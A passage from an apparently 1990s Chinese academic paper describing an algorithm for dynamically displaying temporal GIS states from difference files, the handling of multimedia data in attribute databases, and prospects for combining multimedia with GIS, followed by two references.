下面简述动态显示时态GIS中ti~tj状态的算法步骤(0≤i≤j≤n,其中n为现在时态).(1)由基态开始检索各索引差文件直到生成ti状态信息.(2)显示ti状态信息.(3)根据ti差文件,擦除ti状态有而ti+1状态无的信息,显示ti状态无而ti+1状态有的信息.(4)i+1i.(5)当i<j时,转(3);否则结束.
字4
如果用上述算法来实现动态显示时空过程,还有很多细节需要设计.首先,在(1)步骤,从基态开始,逐级逐步检索,每检索到一个状态差文件,就需根据差文件来生成该状态信息,直到ti状态处;其次,在(3)中,需要用到动画技术,擦除前一状态信息实质为恢复该处显示内容,而显示后一状态信息之前,需保存后一处信息内容,再予以显示新状态信息.
性数据库中多媒体数据的应用
一般来说,多媒体数据主要应用于两个方面:一个是简单播放;另一个是对多媒体数据进行编辑和拮取.对于前者,只要使用MCI函数或API函数按属性数据库中其他属性的要求进行播放;对于后者,这就要求程序员熟悉多媒体数据文件格式RIFF,根据多媒体数据的文件信息和数据流信息,通过调用多媒体文件输入/输出函数来实现多媒体的播放、编辑、拮取以及同步控制等操作.
3多媒体技术在GIS中的应用前景
(1)实现资源信息的科学管理,提供信息服务.GIS一改为用户管理提供单一的图表、数据信息形式,而在管理空间信息的同时,对图形、图象、视频、声音、动画等形式的信息进行管理和播放,大大增加了信息的表现能力.(2)家庭教育和个人娱乐.将多媒体和GIS溶于一身,会丰富教育、娱乐软件的内容及表现手段.比如有关地理、历史等课程的教学软件和娱乐软件的设计.(3)销售和演示信息系统.GIS和多媒体技术合为一体的这类系统会比以往的信息系统更具有表现力.比如房地产公司的销售系统,既能表明所售住房的空间位置,又能从中检索其住房环境及内部结构,而且可以动态地删去当天已售出的房子,给出不同价格等;旅游导游系统,可以在为观光游客制定导游路线时,就能对不同地方的景点产生身临其境的感觉.总之,将多媒体技术和GIS技术相结合,是计算机应用领域的一个发展方向,它会改变人们的工作、生活、思维方式,推动信息社会的前进.
1张祖勋.时态GIS数据结构的研讨.测绘通报,1996,(1):19~21
2杨学良.多媒体计算机技术及其应用.北京:电子工业出版社,1995.138~139